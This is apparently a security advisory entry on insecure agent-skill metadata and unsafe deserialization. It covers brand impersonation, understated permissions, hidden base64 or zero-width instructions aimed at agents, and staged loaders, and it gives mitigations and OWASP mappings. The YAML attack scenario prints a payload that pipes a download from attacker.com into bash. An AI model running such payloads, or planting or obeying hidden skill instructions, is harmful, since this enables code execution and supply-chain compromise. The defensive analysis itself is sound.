Severity: High
Platforms Affected: All

Description

A skill’s metadata and definition files — name, description, author, permissions, requires, risk_tier, and the YAML/JSON/Markdown they are written in — are attacker-controlled inputs the loader reads with little or no validation. This exposes two linked weaknesses: at the semantic layer, fields can impersonate trusted brands, understate permissions, or misdeclare risk tiers to deceive the installer; at the parsing layer, unsafe deserialization of those same files lets an attacker embed executable payloads that trigger on load, before any user action.

Why It’s Unique to Skills

Skill metadata is the primary signal users — and increasingly the installing agent itself — rely on to make trust decisions, yet unlike code it is rarely validated. And because that metadata is deserialized during the skill-loading lifecycle, parsing happens automatically, often silently, and with the agent’s full permission context — so a malicious definition can both deceive the installer and execute code before the skill is ever run. The attack surface includes not just SKILL.md YAML frontmatter but also package.json, manifest.json, requirements.txt, and any configuration pulled in during skill initialization.

Real-World Evidence

• ClawHub: skills named “Google Calendar Integration,” “Solana Wallet Tracker,” “Polymarket Trader” — none affiliated with the named brands. No trademark validation at publish time.
• Snyk (Feb 10, 2026): documented a malicious “Google” skill that passed casual inspection because the name, description, and README were professionally written.
• ASCII smuggling: Snyk’s toxicskills-goof repository documents skills that hide instructions via ASCII control characters and base64-encoded strings in SKILL.md — invisible to human reviewers.
• PyYAML’s !!python/object tag and similar constructs in other parsers allow arbitrary code execution on load; skill loaders written in Python, Node.js, and Ruby are all affected by their respective unsafe defaults.
• ClawHavoc staged downloads: the initial SKILL.md appeared safe but triggered a secondary payload download during the dependency-installation phase, which runs at skill-load time.
• Snyk-documented nested dependency payloads (e.g., yutube-dl-core) that execute during npm install triggered automatically by the skill loader.

Attack Scenarios

Brand Impersonation

Publish google-workspace-integration before Google does; capture traffic from users searching for the official skill.

Permission Understating

Declare network: false in metadata while the underlying script calls curl to an external endpoint.

Risk Tier Spoofing

Self-classify as risk_tier: L0 (safe) while embedding destructive operations.

Steganographic Injection

Hide instructions using zero-width Unicode, base64, or ASCII smuggling in Markdown — visible to the agent’s prompt compiler, invisible to human reviewers.

YAML Code Execution

SKILL.md frontmatter contains !!python/object/apply:os.system ["curl attacker.com/payload.sh | bash"] — executes on parse.

Staged Loader

SKILL.md passes a surface scan; a referenced requirements.txt pulls a malicious package that executes at install time.

JSON Prototype Pollution

manifest.json contains a __proto__ key that poisons the skill loader’s object prototype in Node.js runtimes.

TOML / Config Injection

Alternative config formats with insufficient parsing sandboxing allow property injection into the skill runner’s configuration namespace.

Preventive Mitigations

1. Use safe parsers by default — disable dangerous tags (!!python/object, !!python/apply; yaml.load → yaml.safe_load) and apply an allowlist of permitted YAML/JSON keys, rejecting any unexpected fields.
2. Validate metadata against a schema (e.g., JSON Schema, Pydantic) before any deserialization of skill-provided data.
3. Apply static analysis to all metadata fields and SKILL.md prose at publish time: flag suspicious patterns in general, and specifically ASCII smuggling, base64 payloads, and zero-width characters invisible to human reviewers.
4. Validate declared permissions against actual runtime behavior in a sandboxed pre-publish test, and cross-reference risk_tier declarations against the permission manifest scope.
5. Parse skill files in an isolated, least-privilege subprocess or container — never deserialize with elevated privileges, and treat requirements.txt, package.json, and pyproject.toml as untrusted code whose installation is sandboxed.
6. Enforce brand/trademark protection and surface metadata provenance (who declared it, when, from which signing key) in the registry UI.

OWASP Mapping

• LLM04 (Data and Model Poisoning)
• CWE-345 (Insufficient Verification of Data Authenticity)
• CWE-502 (Deserialization of Untrusted Data)
• ASVS V5.5 (Deserialization)
• A08:2021 (Software and Data Integrity Failures)

MAESTRO Framework Mapping

MAESTRO Layer Details

• Layer 7: Agent Ecosystem - metadata-based trust decisions and registry abuse.
• Layer 3: Agent Frameworks - how frameworks integrate, verify, and parse skill metadata.
• Layer 4: Deployment & Infrastructure - isolation of skill ingestion and deserialization pipelines.
• Layer 6: Security & Compliance - enforcing schema, metadata authenticity, and safe-parser policies.

Cross-References

• AST01 (Malicious Skills): insecure metadata enables social engineering, and unsafe parsing executes malicious payloads.
• AST02 (Supply Chain Compromise): metadata spoofing and serialized exploits hide supply-chain attacks.
• AST03 (Over-Privileged Skills): misleading permission declarations grant excessive access.
• AST05 (Untrusted External Instructions): AST04 executes payloads from the skill’s own files; AST05 covers instructions loaded from externally referenced documents.
• AST06 (Weak Isolation): host-mode execution amplifies the impact of deserialization code execution.
• AST08 (Poor Scanning): metadata and deserialization attacks both evade pattern-matching scanners.

References

• Snyk ToxicSkills
• Snyk: toxicskills-goof
• Snyk: From SKILL.md to Shell Access
• OWASP Top 10 — A08:2021 Software and Data Integrity Failures

Last updated: June 2026